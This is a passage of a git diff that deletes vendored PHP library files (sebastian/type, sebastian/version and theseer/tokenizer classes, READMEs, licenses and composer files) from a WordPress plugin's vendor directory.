b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/NeverType.php deleted file mode 100644 index 6c144743..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/NeverType.php +++ /dev/null @@ -1,36 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class NeverType extends Type -{ - public function isAssignable(Type $other): bool - { - return $other instanceof self; - } - - public function name(): string - { - return 'never'; - } - - public function allowsNull(): bool - { - return false; - } - - /** - * @psalm-assert-if-true NeverType $this - */ - public function isNever(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/NullType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/NullType.php deleted file mode 100644 index 93834eab..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/NullType.php +++ /dev/null @@ -1,41 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class NullType extends Type -{ - public function isAssignable(Type $other): bool - { - return !($other instanceof VoidType); - } - - public function name(): string - { - return 'null'; - } - - public function asString(): string - { - return 'null'; - } - - public function allowsNull(): bool - { - return true; - } - - /** - * @psalm-assert-if-true NullType $this - */ - public function isNull(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/ObjectType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/ObjectType.php deleted file mode 100644 index 44febb27..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/ObjectType.php +++ /dev/null @@ -1,74 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use function is_subclass_of; -use function strcasecmp; - -final class ObjectType extends Type -{ - /** - * @var TypeName - */ - private $className; - - /** - * @var bool - */ - private $allowsNull; - - public function __construct(TypeName $className, bool $allowsNull) - { - $this->className = $className; - $this->allowsNull = $allowsNull; - } - - public function isAssignable(Type $other): bool - { - if ($this->allowsNull && $other instanceof NullType) { - return true; - } - - if ($other instanceof self) { - if (0 === strcasecmp($this->className->qualifiedName(), $other->className->qualifiedName())) { - return true; - } - - if (is_subclass_of($other->className->qualifiedName(), $this->className->qualifiedName(), true)) { - return true; - } - } - - return false; - } - - public function name(): string - { - return $this->className->qualifiedName(); - } - - public function allowsNull(): bool - { - return $this->allowsNull; - } - - public function className(): TypeName - { - return $this->className; - } - - /** - * @psalm-assert-if-true ObjectType $this - */ - public function isObject(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/SimpleType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/SimpleType.php deleted file mode 100644 index 4dce75da..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/SimpleType.php +++ /dev/null @@ -1,104 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use function strtolower; - -final class SimpleType extends Type -{ - /** - * @var string - */ - private $name; - - /** - * @var bool - */ - private $allowsNull; - - /** - * @var mixed - */ - private $value; - - public function __construct(string $name, bool $nullable, $value = null) - { - $this->name = $this->normalize($name); - $this->allowsNull = $nullable; - $this->value = $value; - } - - public function isAssignable(Type $other): bool - { - if ($this->allowsNull && $other instanceof NullType) { - return true; - } - - if ($this->name === 'bool' && $other->name() === 'true') { - return true; - } - - if ($this->name === 'bool' && $other->name() === 'false') { - return true; - } - - if ($other instanceof self) { - return $this->name === $other->name; - } - - return false; - } - - public function name(): string - { - return $this->name; - } - - public function allowsNull(): bool - { - return $this->allowsNull; - } - - public function value() - { - return $this->value; - } - - /** - * @psalm-assert-if-true SimpleType $this - */ - public function isSimple(): bool - { - return true; - } - - private function normalize(string $name): string - { - $name = strtolower($name); - - switch ($name) { - case 'boolean': - return 'bool'; - - case 'real': - case 'double': - return 'float'; - - case 'integer': - return 'int'; - - case '[]': - return 'array'; - - default: - return $name; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/StaticType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/StaticType.php deleted file mode 100644 index cbc13f5f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/StaticType.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class StaticType extends Type -{ - /** - * @var TypeName - */ - private $className; - - /** - * @var bool - */ - private $allowsNull; - - public function __construct(TypeName $className, bool $allowsNull) - { - $this->className = $className; - $this->allowsNull = $allowsNull; - } - - public function isAssignable(Type $other): bool - { - if ($this->allowsNull && $other instanceof NullType) { - return true; - } - - if (!$other instanceof ObjectType) { - return false; - } - - if (0 === strcasecmp($this->className->qualifiedName(), $other->className()->qualifiedName())) { - return true; - } - - if (is_subclass_of($other->className()->qualifiedName(), $this->className->qualifiedName(), true)) { - return true; - } - - return false; - } - - public function name(): string - { - return 'static'; - } - - public function allowsNull(): bool - { - return $this->allowsNull; - } - - /** - * @psalm-assert-if-true StaticType $this - */ - public function isStatic(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/TrueType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/TrueType.php deleted file mode 100644 index 94e5be99..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/TrueType.php +++ /dev/null @@ -1,42 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class TrueType extends Type -{ - public function isAssignable(Type $other): bool - { - if ($other instanceof self) { - return true; - } - - return $other instanceof SimpleType && - $other->name() === 'bool' && - $other->value() === true; - } - - public function name(): string - { - return 'true'; - } - - public function allowsNull(): bool - { - return false; - } - - /** - * @psalm-assert-if-true TrueType $this - */ - public function isTrue(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/Type.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/Type.php deleted file mode 100644 index e7536683..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/Type.php +++ /dev/null @@ -1,226 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use const PHP_VERSION; -use function get_class; -use function gettype; -use function strtolower; -use function version_compare; - -abstract class Type -{ - public static function fromValue($value, bool $allowsNull): self - { - if ($allowsNull === false) { - if ($value === true) { - return new TrueType; - } - - if ($value === false) { - return new FalseType; - } - } - - $typeName = gettype($value); - - if ($typeName === 'object') { - return new ObjectType(TypeName::fromQualifiedName(get_class($value)), $allowsNull); - } - - $type = self::fromName($typeName, $allowsNull); - - if ($type instanceof SimpleType) { - $type = new SimpleType($typeName, $allowsNull, $value); - } - - return $type; - } - - public static function fromName(string $typeName, bool $allowsNull): self - { - if (version_compare(PHP_VERSION, '8.1.0-dev', '>=') && strtolower($typeName) === 'never') { - return new NeverType; - } - - switch (strtolower($typeName)) { - case 'callable': - return new CallableType($allowsNull); - - case 'true': - return new TrueType; - - case 'false': - return new FalseType; - - case 'iterable': - return new IterableType($allowsNull); - - case 'null': - return new NullType; - - case 'object': - return new GenericObjectType($allowsNull); - - case 'unknown type': - return new UnknownType; - - case 'void': - return new VoidType; - - case 'array': - case 'bool': - case 'boolean': - case 'double': - case 'float': - case 'int': - case 'integer': - case 'real': - case 'resource': - case 'resource (closed)': - case 'string': - return new SimpleType($typeName, $allowsNull); - - default: - return new ObjectType(TypeName::fromQualifiedName($typeName), $allowsNull); - } - } - - public function asString(): string - { - return ($this->allowsNull() ? '?' : '') . $this->name(); - } - - /** - * @psalm-assert-if-true CallableType $this - */ - public function isCallable(): bool - { - return false; - } - - /** - * @psalm-assert-if-true TrueType $this - */ - public function isTrue(): bool - { - return false; - } - - /** - * @psalm-assert-if-true FalseType $this - */ - public function isFalse(): bool - { - return false; - } - - /** - * @psalm-assert-if-true GenericObjectType $this - */ - public function isGenericObject(): bool - { - return false; - } - - /** - * @psalm-assert-if-true IntersectionType $this - */ - public function isIntersection(): bool - { - return false; - } - - /** - * @psalm-assert-if-true IterableType $this - */ - public function isIterable(): bool - { - return false; - } - - /** - * @psalm-assert-if-true MixedType $this - */ - public function isMixed(): bool - { - return false; - } - - /** - * @psalm-assert-if-true NeverType $this - */ - public function isNever(): bool - { - return false; - } - - /** - * @psalm-assert-if-true NullType $this - */ - public function isNull(): bool - { - return false; - } - - /** - * @psalm-assert-if-true ObjectType $this - */ - public function isObject(): bool - { - return false; - } - - /** - * @psalm-assert-if-true SimpleType $this - */ - public function isSimple(): bool - { - return false; - } - - /** - * @psalm-assert-if-true StaticType $this - */ - public function isStatic(): bool - { - return false; - } - - /** - * @psalm-assert-if-true UnionType $this - */ - public function isUnion(): bool - { - return false; - } - - /** - * @psalm-assert-if-true UnknownType $this - */ - public function isUnknown(): bool - { - return false; - } - - /** - * @psalm-assert-if-true VoidType $this - */ - public function isVoid(): bool - { - return false; - } - - abstract public function isAssignable(self $other): bool; - - abstract public function name(): string; - - abstract public function allowsNull(): bool; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/UnionType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/UnionType.php deleted file mode 100644 index 427729c5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/UnionType.php +++ /dev/null @@ -1,138 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -use function count; -use function implode; -use function sort; - -final class UnionType extends Type -{ - /** - * @psalm-var non-empty-list - */ - private $types; - - /** - * @throws RuntimeException - */ - public function __construct(Type ...$types) - { - $this->ensureMinimumOfTwoTypes(...$types); - $this->ensureOnlyValidTypes(...$types); - - $this->types = $types; - } - - public function isAssignable(Type $other): bool - { - foreach ($this->types as $type) { - if ($type->isAssignable($other)) { - return true; - } - } - - return false; - } - - public function asString(): string - { - return $this->name(); - } - - public function name(): string - { - $types = []; - - foreach ($this->types as $type) { - if ($type->isIntersection()) { - $types[] = '(' . $type->name() . ')'; - - continue; - } - - $types[] = $type->name(); - } - - sort($types); - - return implode('|', $types); - } - - public function allowsNull(): bool - { - foreach ($this->types as $type) { - if ($type instanceof NullType) { - return true; - } - } - - return false; - } - - /** - * @psalm-assert-if-true UnionType $this - */ - public function isUnion(): bool - { - return true; - } - - public function containsIntersectionTypes(): bool - { - foreach ($this->types as $type) { - if ($type->isIntersection()) { - return true; - } - } - - return false; - } - - /** - * @psalm-return non-empty-list - */ - public function types(): array - { - return $this->types; - } - - /** - * @throws RuntimeException - */ - private function ensureMinimumOfTwoTypes(Type ...$types): void - { - if (count($types) < 2) { - throw new RuntimeException( - 'A union type must be composed of at least two types' - ); - } - } - - /** - * @throws RuntimeException - */ - private function ensureOnlyValidTypes(Type ...$types): void - { - foreach ($types as $type) { - if ($type instanceof UnknownType) { - throw new RuntimeException( - 'A union type must not be composed of an unknown type' - ); - } - - if ($type instanceof VoidType) { - throw new RuntimeException( - 'A union type must not be composed of a void type' - ); - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/UnknownType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/UnknownType.php deleted file mode 100644 index dc274407..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/UnknownType.php +++ /dev/null @@ -1,41 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class UnknownType extends Type -{ - public function isAssignable(Type $other): bool - { - return true; - } - - public function name(): string - { - return 'unknown type'; - } - - public function asString(): string - { - return ''; - } - - public function allowsNull(): bool - { - return true; - } - - /** - * @psalm-assert-if-true UnknownType $this - */ - public function isUnknown(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/VoidType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/VoidType.php deleted file mode 100644 index f740fe29..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/VoidType.php +++ /dev/null @@ -1,36 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Type; - -final class VoidType extends Type -{ - public function isAssignable(Type $other): bool - { - return $other instanceof self; - } - - public function name(): string - { - return 'void'; - } - - public function allowsNull(): bool - { - return false; - } - - /** - * @psalm-assert-if-true VoidType $this - */ - public function isVoid(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/.gitattributes b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/.gitattributes deleted file mode 100644 index 54b89530..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/.gitattributes +++ /dev/null @@ -1,4 +0,0 @@ -/.github export-ignore -/.php_cs.dist export-ignore - -*.php diff=php diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/.gitignore b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/.gitignore deleted file mode 100644 index ff5ec9a0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -/.php_cs.cache -/.idea diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/ChangeLog.md deleted file mode 100644 index 10fd9a1a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/ChangeLog.md +++ /dev/null @@ -1,25 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [3.0.2] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [3.0.1] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [3.0.0] - 2020-01-21 - -### Removed - -* This component is no longer supported on PHP 7.1 and PHP 7.2 - -[3.0.2]: https://github.com/sebastianbergmann/version/compare/3.0.1...3.0.2 -[3.0.1]: https://github.com/sebastianbergmann/version/compare/3.0.0...3.0.1 -[3.0.0]: https://github.com/sebastianbergmann/version/compare/2.0.1...3.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/LICENSE deleted file mode 100644 index aa6bca29..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -Version - -Copyright (c) 2013-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/README.md deleted file mode 100644 index 2864c812..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/README.md +++ /dev/null @@ -1,43 +0,0 @@ -# Version - -**Version** is a library that helps with managing the version number of Git-hosted PHP projects. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - - composer require sebastian/version - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - - composer require --dev sebastian/version - -## Usage - -The constructor of the `SebastianBergmann\Version` class expects two parameters: - -* `$release` is the version number of the latest release (`X.Y.Z`, for instance) or the name of the release series (`X.Y`) when no release has been made from that branch / for that release series yet. -* `$path` is the path to the directory (or a subdirectory thereof) where the sourcecode of the project can be found. Simply passing `__DIR__` here usually suffices. - -Apart from the constructor, the `SebastianBergmann\Version` class has a single public method: `getVersion()`. - -Here is a contrived example that shows the basic usage: - - getVersion()); - ?> - - string(18) "3.7.10-17-g00f3408" - -When a new release is prepared, the string that is passed to the constructor as the first argument needs to be updated. - -### How SebastianBergmann\Version::getVersion() works - -* If `$path` is not (part of) a Git repository and `$release` is in `X.Y.Z` format then `$release` is returned as-is. -* If `$path` is not (part of) a Git repository and `$release` is in `X.Y` format then `$release` is returned suffixed with `-dev`. -* If `$path` is (part of) a Git repository and `$release` is in `X.Y.Z` format then the output of `git describe --tags` is returned as-is. -* If `$path` is (part of) a Git repository and `$release` is in `X.Y` format then a string is returned that begins with `X.Y` and ends with information from `git describe --tags`. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/composer.json deleted file mode 100644 index e76dbf41..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/composer.json +++ /dev/null @@ -1,37 +0,0 @@ -{ - "name": "sebastian/version", - "description": "Library that helps with managing the version number of Git-hosted PHP projects", - "homepage": "https://github.com/sebastianbergmann/version", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/version/issues" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "prefer-stable": true, - "require": { - "php": ">=7.3" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/src/Version.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/src/Version.php deleted file mode 100644 index 53ae7894..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/version/src/Version.php +++ /dev/null @@ -1,97 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace SebastianBergmann; - -final class Version -{ - /** - * @var string - */ - private $path; - - /** - * @var string - */ - private $release; - - /** - * @var string - */ - private $version; - - public function __construct(string $release, string $path) - { - $this->release = $release; - $this->path = $path; - } - - public function getVersion(): string - { - if ($this->version === null) { - if (\substr_count($this->release, '.') + 1 === 3) { - $this->version = $this->release; - } else { - $this->version = $this->release . '-dev'; - } - - $git = $this->getGitInformation($this->path); - - if ($git) { - if (\substr_count($this->release, '.') + 1 === 3) { - $this->version = $git; - } else { - $git = \explode('-', $git); - - $this->version = $this->release . '-' . \end($git); - } - } - } - - return $this->version; - } - - /** - * @return bool|string - */ - private function getGitInformation(string $path) - { - if (!\is_dir($path . DIRECTORY_SEPARATOR . '.git')) { - return false; - } - - $process = \proc_open( - 'git describe --tags', - [ - 1 => ['pipe', 'w'], - 2 => ['pipe', 'w'], - ], - $pipes, - $path - ); - - if (!\is_resource($process)) { - return false; - } - - $result = \trim(\stream_get_contents($pipes[1])); - - \fclose($pipes[1]); - \fclose($pipes[2]); - - $returnCode = \proc_close($process); - - if ($returnCode !== 0) { - return false; - } - - return $result; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/CHANGELOG.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/CHANGELOG.md deleted file mode 100644 index d867649f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/CHANGELOG.md +++ /dev/null @@ -1,87 +0,0 @@ -# Changelog - -All notable changes to Tokenizer are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [1.2.3] - 2024-03-03 - -### Changed - -* Do not use implicitly nullable parameters - -## [1.2.2] - 2023-11-20 - -### Fixed - -* [#18](https://github.com/theseer/tokenizer/issues/18): Tokenizer fails on protobuf metadata files - - -## [1.2.1] - 2021-07-28 - -### Fixed - -* [#13](https://github.com/theseer/tokenizer/issues/13): Fatal error when tokenizing files that contain only a single empty line - - -## [1.2.0] - 2020-07-13 - -This release is now PHP 8.0 compliant. - -### Fixed - -* Whitespace handling in general (only noticable in the intermediate `TokenCollection`) is now consitent - -### Changed - -* Updated `Tokenizer` to deal with changed whitespace handling in PHP 8.0 - The XMLSerializer was unaffected. - - -## [1.1.3] - 2019-06-14 - -### Changed - -* Ensure XMLSerializer can deal with empty token collections - -### Fixed - -* [#2](https://github.com/theseer/tokenizer/issues/2): Fatal error in infection / phpunit - - -## [1.1.2] - 2019-04-04 - -### Changed - -* Reverted PHPUnit 8 test update to stay PHP 7.0 compliant - - -## [1.1.1] - 2019-04-03 - -### Fixed - -* [#1](https://github.com/theseer/tokenizer/issues/1): Empty file causes invalid array read - -### Changed - -* Tests should now be PHPUnit 8 compliant - - -## [1.1.0] - 2017-04-07 - -### Added - -* Allow use of custom namespace for XML serialization - - -## [1.0.0] - 2017-04-05 - -Initial Release - -[1.2.3]: https://github.com/theseer/tokenizer/compare/1.2.2...1.2.3 -[1.2.2]: https://github.com/theseer/tokenizer/compare/1.2.1...1.2.2 -[1.2.1]: https://github.com/theseer/tokenizer/compare/1.2.0...1.2.1 -[1.2.0]: https://github.com/theseer/tokenizer/compare/1.1.3...1.2.0 -[1.1.3]: https://github.com/theseer/tokenizer/compare/1.1.2...1.1.3 -[1.1.2]: https://github.com/theseer/tokenizer/compare/1.1.1...1.1.2 -[1.1.1]: https://github.com/theseer/tokenizer/compare/1.1.0...1.1.1 -[1.1.0]: https://github.com/theseer/tokenizer/compare/1.0.0...1.1.0 -[1.0.0]: https://github.com/theseer/tokenizer/compare/b2493e57de80c1b7414219b28503fa5c6b4d0a98...1.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/LICENSE deleted file mode 100644 index e9694ad6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/LICENSE +++ /dev/null @@ -1,30 +0,0 @@ -Tokenizer - -Copyright (c) 2017 Arne Blankerts and contributors -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of Arne Blankerts nor the names of contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT * NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS -BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, -OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/README.md deleted file mode 100644 index a5f891b4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/README.md +++ /dev/null @@ -1,47 +0,0 @@ -# Tokenizer - -A small library for converting tokenized PHP source code into XML. - -[![Test](https://github.com/theseer/tokenizer/actions/workflows/ci.yml/badge.svg)](https://github.com/theseer/tokenizer/actions/workflows/ci.yml) - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - - composer require theseer/tokenizer - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - - composer require --dev theseer/tokenizer - -## Usage examples - -```php -$tokenizer = new TheSeer\Tokenizer\Tokenizer(); -$tokens = $tokenizer->parse(file_get_contents(__DIR__ . '/src/XMLSerializer.php')); - -$serializer = new TheSeer\Tokenizer\XMLSerializer(); -$xml = $serializer->toXML($tokens); - -echo $xml; -``` - -The generated XML structure looks something like this: - -```xml - - - - <?php - declare - ( - strict_types - - = - - 1 - ) - ; - - -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/composer.json deleted file mode 100644 index 3f452a9f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/composer.json +++ /dev/null @@ -1,27 +0,0 @@ -{ - "name": "theseer/tokenizer", - "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - } - ], - "support": { - "issues": "https://github.com/theseer/tokenizer/issues" - }, - "require": { - "php": "^7.2 || ^8.0", - "ext-xmlwriter": "*", - "ext-dom": "*", - "ext-tokenizer": "*" - }, - "autoload": { - "classmap": [ - "src/" - ] - } -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/composer.lock b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/composer.lock deleted file mode 100644 index 07fba9b5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/composer.lock +++ /dev/null @@ -1,22 +0,0 @@ -{ - "_readme": [ - "This file locks the dependencies of your project to a known state", - "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", - "This file is @generated automatically" - ], - "content-hash": "b010f1b3d9d47d431ee1cb54ac1de755", - "packages": [], - "packages-dev": [], - "aliases": [], - "minimum-stability": "stable", - "stability-flags": [], - "prefer-stable": false, - "prefer-lowest": false, - "platform": { - "php": "^7.2 || ^8.0", - "ext-xmlwriter": "*", - "ext-dom": "*", - "ext-tokenizer": "*" - }, - "platform-dev": [] -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/Exception.php deleted file mode 100644 index 71fc117a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/Exception.php +++ /dev/null @@ -1,5 